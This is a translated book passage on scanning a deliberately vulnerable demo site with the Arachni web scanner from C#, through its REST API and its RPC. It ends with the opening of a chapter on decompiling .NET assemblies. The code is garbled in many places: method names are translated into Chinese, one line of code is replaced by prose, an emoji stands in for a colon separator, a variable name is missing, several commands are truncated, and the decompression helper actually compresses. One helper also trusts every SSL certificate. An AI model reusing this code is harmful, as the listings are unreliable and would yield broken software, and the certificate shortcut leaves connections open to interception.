Arachni 网站(www.arachni-scanner.com/)提供了适用于多个操作系统的 Arachni 下载包。你可以使用这些安装程序在自己的系统上安装 Arachni。下载后,你可以通过运行 Arachni 来测试针对 Web 漏洞的服务器,正如 Listing 12-1 中所示。虽然此命令尚未使用 RPC 来驱动 Arachni,但你可以看到在扫描潜在的 XSS 或 SQL 注入漏洞时会得到什么样的输出。
$ arachni --checks xss,sql --scope-auto-redundant 2 \
Listing 12-1: 使用 Arachni 扫描一个故意易受攻击的网站
此命令使用 Arachni 检查网站 demo.testfire.net/default.aspx 中的 XSS 和 SQL 漏洞。我们通过设置 --scope-auto-redundant 为 2 限制其跟踪的页面范围。这样,Arachni 会在继续扫描新 URL 之前,最多跟踪带有相同参数但不同参数值的 URL 两次。当有很多带有相同参数的链接指向同一页面时,Arachni 扫描的速度会更快。
注意
要全面了解 Arachni 中支持的漏洞检测及相关文档,请访问 Arachni 的 GitHub 页面,其中详细介绍了命令行参数:
www.github.com/Arachni/arachni/wiki/Command-line-user-interface#checks/。
在几分钟内(取决于你的互联网速度),Arachni 应该会报告该网站中一些 XSS 和 SQL 注入漏洞。别担心——它们是故意存在的!这个网站是专门设计为易受攻击的。稍后,在测试我们的自定义 C# 自动化时,你可以使用这个 XSS、SQL 注入和其他漏洞的列表,确保你的自动化程序返回正确的结果。
假设你想将 Arachni 自动运行在你的 web 应用的任意版本上,作为安全软件开发生命周期(SDLC)的一部分。手动运行并不高效,但我们可以轻松地自动化 Arachni,以便启动扫描任务,这样它就可以与任何持续集成系统配合使用,根据扫描结果来决定构建是否通过或失败。这就是 REST API 的作用所在。
Arachni REST API
最近,Arachni 引入了一个 REST API,可以通过简单的 HTTP 请求来驱动 Arachni。列表 12-2 展示了如何启动这个 API。
$ arachni_rest_server
Arachni - 网络应用安全扫描框架 v2.0dev
作者: Tasos "Zapotek" Laskos tasos.laskos@arachni-scanner.com
(在社区和 Arachni 团队的支持下。)
网站: http://arachni-scanner.com
文档: http://arachni-scanner.com/wiki
➊[*] 正在监听 http://127.0.0.1:7331
列表 12-2: 运行 Arachni REST 服务器
当你启动服务器时,Arachni 会输出一些关于它的信息,包括它监听的 IP 地址和端口 ➊。一旦你确认服务器工作正常,就可以开始使用 API。
通过 REST API,你可以使用任何常见的 HTTP 工具,如 curl 或 netcat,启动一个简单的扫描。在本书中,我们将继续使用 curl,和之前的章节一样。我们的第一次扫描如 列表 12-3 所示。
$ curl -X POST --data '{"url":"http://demo.testfire.net/default.aspx"}'➊ \
{"id":"b139f787f2d59800fc97c34c48863bed"}➋
$ curl http://127.0.0.1:7331/scans/b139f787f2d59800fc97c34c48863bed➌
{"status":"done","busy":false,"seed":"676fc9ded9dc44b8a32154d1458e20de",
--省略--
列表 12-3: 使用 curl 测试 REST API
要启动扫描,我们需要做的就是发送一个带有 JSON 数据的 POST 请求 ➊。我们通过 curl 的 --data 参数传递包含扫描 URL 的 JSON,发送到 /scans 端点,从而启动一个新的 Arachni 扫描。新扫描的 ID 会在 HTTP 响应中返回 ➋。创建扫描后,我们还可以通过一个简单的 HTTP GET 请求(curl 的默认请求类型)检索当前扫描的状态和结果 ➌。我们通过调用 Arachni 所监听的 IP 地址和端口,并附加在创建扫描时获得的 ID,将其添加到 /scans/ URL 端点来完成这个请求。扫描完成后,扫描日志将包含扫描过程中发现的任何漏洞,如 XSS、SQL 注入和其他常见的 web 应用漏洞。
完成此操作后,我们就能了解 REST API 的工作原理,然后可以开始编写代码,使我们能够使用 API 扫描任何有地址的网站。
创建 ArachniHTTPSession 类
正如之前章节所述,我们将实现一个会话类和一个管理器类,以便与 Arachni API 进行交互。目前,这些类相对简单,但现在将它们拆开可以在未来如果 API 需要身份验证或额外步骤时提供更大的灵活性。 Listing 12-4 详细说明了 ArachniHTTPSession 类。
public class ArachniHTTPSession
{
public ➊ArachniHTTPSession(string host, int port)
{
this.Host = host;
this.Port = port;
}
public string Host { get; set; }
public int Port { get; set; }
public JObject ➋ExecuteRequest(string method, string uri, JObject data = null)
{
string url = "http://" + this.Host + ":" + this.Port.ToString() + uri;
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
request.Method = method;
if (data != null)
{
string dataString = data.ToString();
byte[] dataBytes = System.Text.Encoding.UTF8.GetBytes(dataString);
request.ContentType = "application/json";
request.ContentLength = dataBytes.Length;
request.GetRequestStream().Write(dataBytes, 0, dataBytes.Length);
}
string resp = string.Empty;
using (StreamReader reader = new StreamReader(request.GetResponse().GetResponseStream()))
resp = reader.ReadToEnd();
return JObject.Parse(resp);
}
}
Listing 12-4: ArachniHTTPSession 类
在本书的这一部分,ArachniHTTPSession 类应该比较容易理解,因此我们不会过于深入代码。我们创建了一个构造函数 ➊,该构造函数接受两个参数——要连接的主机和端口,并将这些值分配给相应的属性。然后,我们创建一个方法来执行基于传递给该方法的参数的通用 HTTP 请求 ➋。ExecuteRequest() 方法应该返回一个 JObject,其中包含由给定 API 端点返回的任何数据。由于 ExecuteRequest() 方法可以用于对 Arachni 发起任何 API 调用,我们唯一可以预期的是响应将是 JSON,可以从服务器的响应解析为 JObject。
创建 ArachniHTTPManager 类
ArachniHTTPManager 类此时应该看起来非常简单,如 Listing 12-5 所示。
public class ArachniHTTPManager
{
ArachniHTTPSession _session;
public ➊ArachniHTTPManager(ArachniHTTPSession session)
{
_session = session;
}
public JObject ➋StartScan(string url, JObject options = ➌null)
{
JObject data = new JObject();
data["url"] = url;
data.Merge(options);
return _session.ExecuteRequest("POST", "/scans", data);
}
public JObject ➍GetScanStatus(Guid id)
{
return _session.ExecuteRequest("GET", "/scans/" + id.ToString("N"));
}
}
Listing 12-5: ArachniHTTPManager 类
我们的 ArachniHTTPManager 构造函数 ➊ 接受一个参数——用于执行请求的会话,并将该会话分配给本地私有变量,以便稍后使用。然后我们创建了两个方法:StartScan() ➋ 和 GetScanStatus() ➍。这些方法是我们创建一个扫描并报告 URL 的小工具所需的一切。
StartScan()方法接受两个参数,其中一个是可选的,默认值为 null ➌。默认情况下,您只需指定一个 URL 而不传入扫描选项,StartScan()方法会让 Arachni 仅爬取站点而不检查漏洞——这一特性可以帮助您了解 Web 应用程序的表面面积(即有多少页面和表单需要测试)。然而,我们实际上希望指定额外的参数来调整 Arachni 扫描,因此我们将这些选项合并到我们的数据 JObject 中,然后将扫描详情 POST 到 Arachni API 并返回 JSON 响应。GetScanStatus()方法通过简单的 GET 请求,使用扫描 ID 作为 URL 中的 API 参数,并返回 JSON 响应给调用者。
将 Session 和 Manager 类结合起来
在实现了这两个类后,我们就可以开始扫描了,正如 Listing 12-6 所示。
public static void Main(string[] args)
{
ArachniHTTPSession session = new ArachniHTTPSession("127.0.0.1", 7331);
ArachniHTTPManager manager = new ArachniHTTPManager(session);
➊JObject scanOptions = new JObject();
scanOptions["checks"] = new JArray() { "xss", "sql" };
scanOptions["audit"] = new JObject();
scanOptions["audit"]["elements"] = new JArray() { "links", "forms" };
string url = "http://demo.testfire.net/default.aspx";
JObject scanId = manager.➋StartScan(url, scanOptions);
Guid id = Guid.Parse(scanId["id"].ToString());
JObject scan = manager.➌GetScanStatus(id);
while (scan["status"].ToString() != "done")
{
Console.WriteLine("稍等片刻,直到扫描完成");
System.Threading.Thread.Sleep(10000);
scan = manager.GetScanStatus(id);
}
➍Console.WriteLine(scan.ToString());
}
Listing 12-6: 使用 ArachniHTTPSession 和 ArachniHTTPManager 类驱动 Arachni
在实例化我们的会话(session)和管理器(manager)类之后,我们创建了一个新的 JObject ➊来存储我们的扫描选项。这些选项与您在运行arachni --help时看到的命令行选项直接相关(有很多)。通过在“checks”选项键中存储包含 xss和 sql值的 JArray,我们告诉 Arachni 对网站进行 XSS 和 SQL 注入测试,而不仅仅是爬取应用程序并查找所有可能的页面和表单。下面的“audit”选项键则告诉 Arachni 审核它找到的链接以及我们要求它运行的任何 HTML 表单。
在设置完扫描选项后,我们通过调用 StartScan()方法➋并传入我们的测试 URL 作为参数来启动扫描。使用 StartScan()返回的 ID,我们通过 GetScanStatus() ➌获取当前扫描状态,然后循环检查直到扫描完成,每秒检查一次新的扫描状态。扫描完成后,我们将 JSON 格式的扫描结果打印到屏幕上 ➍。
Arachni REST API 简单且易于大多数安全工程师或爱好者访问,因为它可以使用基本的命令行工具。它也非常容易通过常见的 C#库进行自动化,应该是 SDLC 或在你自己的网站上进行每周或每月扫描的一个轻松入门。为了增加一些趣味,尝试使用你的自动化工具将 Arachni 与书中已知漏洞的前 Web 应用程序(如 BadStore)一起运行。现在我们已经了解了 Arachni API,可以讨论如何自动化它的 RPC。
Arachni RPC
Arachni RPC 协议比 API 更为先进,但也更强大。虽然和 Metasploit 的 RPC 一样也由 MSGPACK 支持,Arachni 的协议却有些不同。数据有时会进行 Gzip 压缩,并且只能通过常规的 TCP 套接字进行通信,而不是 HTTP。这种复杂性有其优点:RPC 没有 HTTP 开销,因此速度极快,而且它比 API 提供了更多的扫描器管理功能,包括随时启动和停止扫描器的能力,并能够创建分布式扫描集群,从而允许多个 Arachni 实例之间进行扫描负载均衡。简而言之,RPC 非常强大,但预计 REST API 将会获得更多的开发关注和支持,因为它对大多数开发者更加易于接触。
手动运行 RPC
要启动一个 RPC 监听器,我们使用简单的脚本 arachni_rpcd,如示例 12-7 所示。
$ arachni_rpcd
Arachni - Web 应用程序安全扫描框架 v2.0dev
作者:Tasos "Zapotek" Laskos tasos.laskos@arachni-scanner.com
(在社区和 Arachni 团队的支持下。)
文档: http://arachni-scanner.com/wiki
我,[2016-01-16T18:23:29.000746 #18862] 信息 - 系统:RPC 服务器已启动。
我,[2016-01-16T18:23:29.000834 #18862] 信息 - 系统:监听地址 ➊127.0.0.1:7331
示例 12-7:运行 Arachni RPC 服务器
现在我们可以使用另一个随 Arachni 一起提供的脚本来测试监听器,叫做 arachni_rpc。注意在 RPC 服务器的输出中显示的调度器 URL ➊。接下来我们需要用到它。随 Arachni 一起提供的 arachni_rpc 脚本允许你通过命令行与 RPC 监听器进行交互。在启动 arachni_rpcd 监听器后,打开另一个终端,切换到 Arachni 项目的根目录;然后使用 arachni_rpc 脚本启动扫描,如示例 12-8 所示。
$ arachni_rpc --dispatcher-url 127.0.0.1:7331 \
示例 12-8:通过 RPC 运行 Arachni 扫描同一个故意存在漏洞的网站
这个命令将驱动 Arachni 使用 MSGPACK RPC,就像我们接下来将在 C#代码中做到的那样。如果成功,你应该会看到一个基于文本的用户界面,实时更新当前扫描的状态,并在扫描结束时显示漂亮的报告,正如示例 12-9 所示。
Arachni - Web 应用程序安全扫描框架 v2.0dev
作者:Tasos "Zapotek" Laskos tasos.laskos@arachni-scanner.com
(在社区和 Arachni 团队的支持下。)
网站: http://arachni-scanner.com
文档: http://arachni-scanner.com/wiki
[~] 已检测到 10 个问题。
[+] 1 | 在脚本上下文中的 Cross-Site Scripting (XSS) 在
http://demo.testfire.net/search.aspx 中的表单输入
txtSearch使用 GET。[+] 2 | 在 http://demo.testfire.net/search.aspx 的 Cross-Site Scripting (XSS)
在表单输入
txtSearch中使用 GET。[+] 3 | 在服务器的 http://demo.testfire.net/PR/ 中找到常见目录。
[+] 4 | 在服务器的 http://demo.testfire.net/default.exe 中备份文件。
[+] 5 | 在 http://demo.testfire.net/default.aspx 的服务器中缺少 'X-Frame-Options' 头。
[+] 6 | 在服务器的 http://demo.testfire.net/admin.aspx 中找到常见的管理界面。
[+] 7 | 在服务器的 http://demo.testfire.net/admin.htm 中找到常见的管理界面。
[+] 8 | 在服务器的 http://demo.testfire.net/default.aspx 收到有趣的响应。
[+] 9 | 在 http://demo.testfire.net/default.aspx 的 cookie 中有 HttpOnly cookie 和输入
amSessionId。[+] 10 | 在服务器的 http://demo.testfire.net/default.aspx 中允许的 HTTP 方法。
[~] 状态:扫描中
[~] 迄今为止发现了 3 个页面。
[~] 已发送 1251 个请求。
[~] 收到并分析了 1248 个响应。
[~] 在 00:00:45
[~] 平均值:39.3732270014467 请求/秒。
[~] 当前正在审计 http://demo.testfire.net/default.aspx
[~] 突发响应时间总和 72.511066 秒
[~] 突发响应总数 97
[~] 突发平均响应时间 0.747536762886598 秒
[~] 突发平均 20.086991167522193 请求/秒
[~] 超时请求 0
[~] 原始最大并发数 20
[~] 限制的最大并发数 20
[~] ('Ctrl+C' 中止扫描并获取报告) Listing 12-9: arachni_rpc 命令行扫描 UI
ArachniRPCSession 类
要使用 RPC 框架和 C# 运行扫描,我们将再次实现 session/manager 模式,从 Arachni RPC 会话类开始。通过 RPC 框架,您将与 Arachni 架构有更多的接触,因为您需要在更细粒度的层面上处理调度器和实例。当您首次连接到 RPC 框架时,您会连接到一个调度器。您可以与这个调度器交互来创建和管理实例,这些实例进行实际的扫描和工作,但这些扫描实例最终会动态地监听与调度器不同的端口。为了为调度器和实例提供一个易于使用的接口,我们可以创建一个会话构造函数,让我们能够稍微忽略这些区别,如 Listing 12-10 所示。
public class ArachniRPCSession : IDisposable
{
SslStream _stream = null;
public ArachniRPCSession(➊string host, int port,
bool ➋initiateInstance = false)
{
this.Host = host;
this.Port = port;
➌GetStream(host, port);
this.IsInstanceStream = false;
if (initiateInstance)
{
this.InstanceName = ➍Guid.NewGuid().ToString();
MessagePackObjectDictionary resp =
this.ExecuteCommand("dispatcher.dispatch"➎,
new object[] { this.InstanceName }).AsDictionary(); 列表 12-10:ArachniRPCSession 构造函数的前半部分
构造函数接受三个参数 ➊。前两个——连接的主机和主机上的端口——是必需的。第三个参数是可选的 ➋(默认为 false),它允许程序员自动创建一个新的扫描实例并连接到它,而无需通过调度器手动创建新实例。
在分别将 Host 和 Port 属性赋值为传递给构造函数的前两个参数后,我们使用 GetStream() ➌ 连接到调度器。如果第三个参数传入 true(默认为 false),实例化实例时(默认值为 false),我们使用新的 Guid 创建一个唯一的实例名称,并运行 dispatcher.dispatch ➎ RPC 命令来创建一个新的扫描器实例,该实例返回一个新的端口(如果你有多个扫描器实例集群,可能还会返回新的主机)。列表 12-11 显示了构造函数的其余部分。
string[] url = ➊resp["url"].AsString().Split('😂;
this.InstanceHost = url[0];
this.InstancePort = int.Parse(url[1]);
this.Token = ➋resp["token"].AsString();
➌GetStream(this.InstanceHost, this.InstancePort);
bool aliveResp = this.➍ExecuteCommand("service.alive?", new object[] { },
this.Token).AsBoolean();
this.IsInstanceStream = aliveResp;
}
}
➎public string Host { get; set; }
public int Port { get; set; }
public string Token { get; set; }
public bool IsInstanceStream { get; set; }
public string InstanceHost { get; set; }
public int InstancePort { get; set; }
public string InstanceName
列表 12-11:ArachniRPCSession 构造函数的后半部分及其属性
在 ➊ 处,我们将扫描器实例的 URL(例如 127.0.0.1:7331)拆分为 IP 地址和端口(分别为 127.0.0.1 和 7331)。一旦我们获取到用于实际扫描的实例主机和端口后,我们将它们分别赋值给 InstanceHost 和 InstancePort 属性。我们还会保存调度器返回的认证令牌 ➋,以便稍后对扫描器实例进行认证的 RPC 调用。该认证令牌是 Arachni RPC 在我们调度新实例时自动生成的,这样只有我们能使用这个新扫描器及其令牌。
我们使用 GetStream() ➌连接到扫描实例,它提供了对扫描实例的直接访问。如果连接成功且扫描实例处于活动状态 ➍,我们将 IsInstanceStream 属性设置为 true,这样我们就能知道自己是在驱动调度器还是扫描实例(这决定了我们稍后在实现 ArachniRPCManager 类时可以对 Arachni 进行哪些 RPC 调用,比如创建扫描器或执行扫描)。在构造函数之后,我们定义了会话类的属性 ➎,所有这些属性在构造函数中都会用到。
ExecuteCommand 的辅助方法
在我们实现 ExecuteCommand()之前,我们需要实现 ExecuteCommand()的辅助方法。我们快完成了!第 12-12 页显示了我们需要的方法,以便完成 ArachniRPCSession 类的实现。
public byte[] 解压数据(byte[] inData)
{
using (MemoryStream outMemoryStream = new MemoryStream())
{
using (➊ZOutputStream outZStream = new ZOutputStream(outMemoryStream))
{
outZStream.Write(inData, 0, inData.Length);
return outMemoryStream.ToArray();
}
}
}
private byte[] ➋ReadMessage(SslStream sslStream)
{
byte[] sizeBytes = new byte[4];
sslStream.Read(sizeBytes, 0, sizeBytes.Length);
if (BitConverter.IsLittleEndian)
Array.Reverse(sizeBytes);
uint size = BitConverter.➌ToUInt32(sizeBytes, 0);
byte[] buffer = new byte[size];
sslStream.Read(buffer, 0, buffer.Length);
return buffer;
}
private void ➍获取流(string host, int port)
{
TcpClient client = new TcpClient(host, port);
_stream = new SslStream(client.GetStream(), false,
new RemoteCertificateValidationCallback(➎验证服务器证书),
(sender, targetHost, localCertificates,
remoteCertificate, acceptableIssuers)
=> null);
_stream.AuthenticateAsClient("arachni", null, SslProtocols.Tls, false);
}
private bool 验证服务器证书(object sender, X509Certificate certificate,
X509Chain chain, SslPolicyErrors sslPolicyErrors)
{
return true;
}
public void ➏Dispose()
{
if (this.IsInstanceStream && _stream != null)
this.ExecuteCommand(➐"service.shutdown", new object[] { }, this.Token);
if (_stream != null)
_stream.Dispose();
_stream = null;
}
第 12-12 页:ArachniRPCSession 类的辅助方法
大多数 RPC 会话类的辅助方法相对简单。DecompressData()方法使用 NuGet 中提供的 zlib 库创建一个新的输出流,名为 ZOutputStream ➊。它返回解压后的数据作为字节数组。在 ReadMessage()方法 ➋中,我们从流中读取前 4 个字节,然后将这些字节转换为一个 32 位无符号整数 ➌,表示其余数据的长度。一旦知道数据长度,我们就从流中读取剩余数据,并将其作为字节数组返回。
GetStream()方法➍与我们在 OpenVAS 库中用于创建网络流的代码非常相似。我们创建一个新的TcpClient并将流包装在SslStream中。我们使用ValidateServerCertificate()方法➎通过始终返回true来信任所有 SSL 证书。这允许我们连接到具有自签名证书的 RPC 实例。最后,Dispose() ➏是ArachniRPCSession类实现的IDisposable接口所要求的。如果我们正在驱动一个扫描实例而不是调度器(在创建ArachniRPCSession时的构造函数中设置),我们发送一个关闭命令➐给该实例,以清理扫描实例,但保持调度器运行。
ExecuteCommand()方法
如清单 12-13 所示,ExecuteCommand()方法封装了所有必需的功能,用于发送命令并接收来自 Arachni RPC 的响应。
public MessagePackObject ➊ExecuteCommand(string command, object[] args,
string token = null){
➋
Dictionary<string, object> = new Dictionary<string, object>();➌
message["message"] = command;
message["args"] = args;
if (token != null)➍
message["token"] = token;
byte[] packed;
using (MemoryStream stream = new ➎MemoryStream()){
Packer packer = Packer.Create(stream);
packer.PackMap(message);
packed = stream.ToArray();}
清单 12-13:ArachniRPCSession类中ExecuteCommand()方法的前半部分
ExecuteCommand()方法➊接受三个参数:要执行的命令、与命令一起使用的参数对象,以及一个可选的身份验证令牌参数(如果提供了身份验证令牌)。该方法稍后将主要由ArachniRPCManager类使用。我们通过创建一个新的字典来开始该方法,名为request,用于保存我们的命令数据(要运行的命令和 RPC 命令的参数)➋。然后,我们将字典中的message键➌赋值为传递给ExecuteCommand()方法的第一个参数,即要运行的命令。接着,我们将字典中的args键赋值为传递给方法的第二个参数,即要运行命令的选项。当我们发送消息时,Arachni 将查看这些键,使用给定的参数运行 RPC 命令,并返回响应。如果第三个参数(可选)不为null,我们将token键 ➍ 赋值为传递给方法的身份验证令牌。这三个字典键(message、args和token)是 Arachni 在接收到序列化数据时将查看的内容。
一旦我们设置好包含要发送给 Arachni 的信息的请求字典,我们就创建一个新的 MemoryStream() ➎ 并使用 Metasploit 绑定中的相同 Packer 类,在第十一章中将请求字典序列化为字节数组。现在,我们已经准备好发送数据给 Arachni 执行 RPC 命令,接下来我们需要发送数据并读取 Arachni 的响应。这发生在 ExecuteCommand() 方法的后半部分,见清单 12-14。
byte[] packedLength = ➊BitConverter.GetBytes(packed.Length);
if (BitConverter.IsLittleEndian)
Array.Reverse(packedLength);
➋_stream.Write(packedLength);
➌_stream.Write(packed);
byte[] respBytes = ➍ReadMessage(_stream);
MessagePackObjectDictionary resp = null;
try
{
resp = Unpacking.UnpackObject(respBytes).Value.AsDictionary();
}
➎catch
{
byte[] decompressed = DecompressData(respBytes);
resp = Unpacking.UnpackObject(decompressed).Value.AsDictionary();
}
return resp.ContainsKey("obj") ? resp["obj"] : resp["exception"];
}
清单 12-14:ArachniRPCSession 类中 ExecuteCommand() 方法的后半部分
由于 Arachni RPC 流使用简单协议进行通信,我们可以轻松地将 MSGPACK 数据发送给 Arachni,但我们需要向 Arachni 发送两个信息,而不仅仅是 MSGPACK 数据。我们首先需要将 MSGPACK 数据的大小作为一个 4 字节的整数发送给 Arachni,紧跟在 MSGPACK 数据之前。这个整数表示每个消息中序列化数据的长度,告诉接收方(在本例中为 Arachni)需要读取多少字节作为消息的一部分。我们需要获取数据长度的字节,因此使用 BitConverter.GetBytes() ➊ 获取 4 字节数组。数据的长度和数据本身需要按照特定顺序写入 Arachni 流中。我们首先将表示数据长度的 4 字节写入流中 ➋,然后写入完整的序列化消息 ➌。
接下来,我们需要读取来自 Arachni 的响应并将其返回给调用者。使用 ReadMessage() 方法 ➍,我们从响应中获取消息的原始字节,并尝试在 try/catch 块中将其解包成 MessagePackObjectDictionary。如果第一次尝试失败,这意味着数据使用 Gzip 压缩,因此 catch 块 ➎ 会接管。我们解压缩数据,然后将解压后的字节解包成 MessagePackObjectDictionary。最后,我们返回服务器的完整响应,或者如果发生错误,则返回异常。
ArachniRPCManager 类
ArachniRPCManager 类比 ArachniRPCSession 类要简单得多,见清单 12-15。
public class ArachniRPCManager : IDisposable
{
ArachniRPCSession _session;
public ArachniRPCManager(➊ArachniRPCSession session)
{
if (!session.IsInstanceStream)
throw new Exception("Session 必须使用实例流");
_session = session;
}
public MessagePackObject ➋StartScan(string url, string checks = "*")
{
Dictionary<string, object>args = new Dictionary<string, object>();
args["url"] = url;
args["checks"] = checks;
args["audit"] = new Dictionary<string, object>();
((Dictionary<string, object>)args["audit"])["elements"] = new object[] { "links", "forms" };
return _session.ExecuteCommand(➌"service.scan", new object[] { args }, _session.Token);
}
public MessagePackObject ➍GetProgress(List
digests = null) {
Dictionary<string, object>args = new Dictionary<string, object>();
args["with"] = "issues";
如果 digests 不为空
{
args["without"] = new Dictionary<string, object>();
((Dictionary<string, object>)args["without"])["issues"] = digests.ToArray();
}
return _session.➎ExecuteCommand("service.progress", new object[] { args }, _session.Token);
}
public MessagePackObject ➏IsBusy()
{
return _session.ExecuteCommand("service.busy?", new object[] { }, _session.Token);
}
public void Dispose()
{
➐_session.Dispose();
}
}
示例 12-15:ArachniRPCManager 类
首先,ArachniRPCManager 构造函数接受一个 ArachniRPCSession ➊ 作为唯一参数。我们的管理器类只会实现扫描实例的方法,而不是调度器,因此,如果传入的会话不是扫描实例,我们会抛出异常。否则,我们将会话分配给本地类变量,以便在其他方法中使用。
我们在 ArachniRPCManager 类中创建的第一个方法是 StartScan() 方法 ➋,它接受两个参数。第一个参数是必需的,是 Arachni 将要扫描的 URL 字符串。第二个参数是可选的,默认会运行所有检查(例如 XSS、SQL 注入和路径遍历等),但如果用户希望在传递给 StartScan() 的选项中指定不同的检查,它可以被更改。为了确定运行哪些检查,我们通过实例化一个新的字典并使用传递给 StartScan() 方法的 url 和 checks 参数以及 Arachni 将查看的 audit 来构建一个新的消息,Arachni 根据这个消息来确定执行何种扫描。最后,我们使用 service.scan 命令 ➌ 发送该消息并将响应返回给调用者。
GetProgress() 方法 ➍ 接受一个可选的单一参数:一个整数列表,Arachni 用它来标识报告的问题。我们将在下一节中详细讨论 Arachni 如何报告问题。使用此参数,我们构建一个小字典并将其传递给 service.progress 命令 ➎,该命令将返回扫描的当前进度和状态。我们将命令发送给 Arachni,然后将结果返回给调用者。
最后一个重要的方法,IsBusy() ➏,简单地告诉我们当前的扫描器是否正在进行扫描。最后,我们通过 Dispose() ➐ 清理所有内容。
综合起来
现在我们已经有了驱动 Arachni 的 RPC 来扫描 URL 并实时报告结果的基本构件。清单 12-16 展示了如何将所有部分组合在一起,使用 RPC 扫描一个 URL。
public static void Main(string[] args)
{
using (ArachniRPCSession session = new ➊ArachniRPCSession("127.0.0.1",
7331, true))
{
using (ArachniRPCManager manager = new ArachniRPCManager(session))
{
Console.➋WriteLine("正在使用实例: " + session.InstanceName);
manager.StartScan("http://demo.testfire.net/default.aspx");
bool isRunning = manager.IsBusy().AsBoolean();
List
issues = new List (); DateTime start = DateTime.Now;
Console.WriteLine("扫描开始时间: " + start.ToLongTimeString());
➌while (isRunning)
{
Thread.Sleep(10000);
var progress = manager.GetProgress(issues);
foreach (MessagePackObject p in
progress.AsDictionary()["issues"].AsEnumerable())
{
MessagePackObjectDictionary dict = p.AsDictionary();
Console.➍WriteLine("发现问题: " + dict["name"].AsString());
issues.Add(dict["digest"].AsUInt32());
}
isRunning = manager.➎IsBusy().AsBoolean();
}
DateTime end = DateTime.Now;
➏Console.WriteLine("扫描结束时间: " + end.ToLongTimeString() +
". 扫描花费时间: " + ((end - start).ToString()) + ")。
}
}
}
清单 12-16: 使用 RPC 类驱动 Arachni
我们通过创建一个新的 ArachniRPCSession ➊来启动 Main()方法,传递 Arachni 调度器的主机和端口,并将 true 作为第三个参数自动获取一个新的扫描实例。一旦我们拥有了会话和管理器类,并且连接到 Arachni,我们打印当前的实例名称 ➋,它应该就是我们在创建扫描实例时生成的唯一 ID。接着,我们通过将测试 URL 传递给 StartScan()方法来启动扫描。
一旦扫描开始,我们可以观察它直到完成,然后打印最终报告。在创建几个变量(如一个空的列表,用来存储 Arachni 回传的报告问题)和扫描开始的时间后,我们开始一个 while 循环 ➌,它会持续运行直到 isRunning 为 false。在 while 循环中,我们调用 GetProgress()来获取扫描的当前进度,然后打印 ➍并存储自上次调用 GetProgress()以来发现的任何新问题。我们最终暂停 10 秒,然后再次调用 IsBusy() ➎。接着我们重新开始这个过程,直到扫描完成。所有步骤完成后,我们打印一个简短的总结 ➏,说明扫描花费的时间。如果你查看自动化报告的漏洞(我截断的结果见清单 12-17)以及我们在章节开始时手动执行的原始 Arachni 扫描,它们应该是一致的!
$ mono ./ch12_automating_arachni.exe
使用实例: 1892413b-7656-4491-b6c0-05872396b42f
扫描开始时间: 8:58:12 AM
发现问题: 跨站脚本(XSS)➊
发现问题: 常见目录
发现问题: 备份文件➋
发现问题: 缺少 'X-Frame-Options' 头部
发现的问题:有趣的响应
发现的问题:允许的 HTTP 方法
发现的问题:有趣的响应
发现的问题:路径遍历 ➌
--snip--
列表 12-17:运行 Arachni C# 类扫描并报告示例 URL
因为我们启用了所有检查项来运行 Arachni,这个站点将报告大量的漏洞!仅在前十行左右,Arachni 就报告了一个 XSS 漏洞 ➊,一个可能包含敏感信息的备份文件 ➋,以及一个路径遍历弱点 ➌。如果你只想限制 Arachni 执行 XSS 漏洞扫描,你可以将一个第二个参数传递给 StartScan,值为 xss*(该参数的默认值是 ,表示“所有检查”),Arachni 就只会检查并报告找到的任何 XSS 漏洞。该命令最终看起来像以下这行代码:manager.StartScan("http://demo.testfire.net/default.aspx", "xss"); Arachni 支持多种检查,包括 SQL 和命令注入,因此我鼓励你阅读文档,了解支持的检查项。
结论
Arachni 是一款非常强大且多功能的 web 应用程序扫描器,是任何认真从事安全工程或渗透测试工作的工程师工具箱中的必备工具。正如你在本章中所看到的,你可以轻松地在简单和复杂的场景中使用它。如果你只需要定期扫描单一应用程序,HTTP API 可能就足够了。然而,如果你发现自己不断扫描新的和不同的应用程序,那么随时启动扫描器的能力可能是分发扫描并避免瓶颈的最佳方式。
我们首先实现了一组简单的类,与 Arachni REST API 接口,以便启动、监控并报告扫描结果。利用我们工具集中基础的 HTTP 库,我们能够轻松构建模块化的类来驱动 Arachni。
在我们完成了更简单的 REST API 后,我们将 Arachni 推进了一步,通过 MSGPACK RPC 来驱动它。使用几个开源第三方库,我们能够使用 Arachni 的一些更强大的功能。我们利用其分布式模型,通过 RPC 调度器创建了一个新的扫描实例,然后扫描了一个 URL 并实时报告了结果。
使用这些构建块中的任何一个,你都可以将 Arachni 集成到任何 SDLC 或持续集成系统中,以确保你或你的组织使用或构建的 web 应用程序的质量和安全性。
第十三章
13
反编译与逆向托管程序集

Mono 和 .NET 使用虚拟机,就像 Java 一样,用来运行已编译的可执行文件。 .NET 和 Mono 的可执行文件格式使用一种比原生 x86 或 x86_64 汇编语言更高层次的字节码,称为托管程序集。这与 C 和 C++ 等语言的原生非托管可执行文件不同。由于托管程序集是用更高层次的字节码编写的,所以如果使用一些不属于标准库的库,反编译它们是相对简单的。
在本章中,我们将编写一个简短的反编译器,它接受一个托管程序集并将源代码写回指定的文件夹。这个工具对恶意软件研究人员、逆向工程师,或者任何需要在两个 .NET 库或应用程序之间执行二进制差异比较(比较两个已编译的二进制文件或库在字节级别的差异)的人来说,都是非常有用的。接下来,我们将简要介绍一个随 Mono 提供的程序,叫做 monodis,它在分析程序集时非常有用,除了源代码分析,还可以用于发现潜在的后门和其他恶意代码。
反编译托管程序集
有许多易于使用的 .NET 反编译器。然而,它们的用户界面通常使用像 WPF(Windows Presentation Foundation)这样的工具包,这使得它们不能跨平台使用(通常只能在 Windows 上运行)。许多安全工程师、分析师和渗透测试人员使用 Linux 或 OS X 系统,因此这些工具对于他们来说并不十分实用。ILSpy 就是一个好的 Windows 反编译器示例;它使用跨平台的 ICSharpCode.Decompiler 和 Mono.Cecil 库进行反编译,但它的用户界面是 Windows 专用的,因此在 Linux 或 OS X 上无法使用。幸运的是,我们可以构建一个简单的工具,接受一个程序集作为参数,并使用这两个先前提到的开源库反编译给定的程序集,并将生成的源代码写回磁盘,以供后续分析。
这两个库都可以通过 NuGet 获取。安装方式取决于你的 IDE;如果你使用 Xamarin Studio 或 Visual Studio,你可以在解决方案资源管理器中为每个项目管理 NuGet 包。Listing 13-1 详细列出了整个类,以及反编译给定程序集所需的方法。
class MainClass
{
public static void ➊Main(string[] args)
{
if (args.Length != 2)
{
Console.Error.WriteLine("Dirty C# decompiler requires two arguments.");
Console.Error.WriteLine("decompiler.exe
"); return;
}
IEnumerable
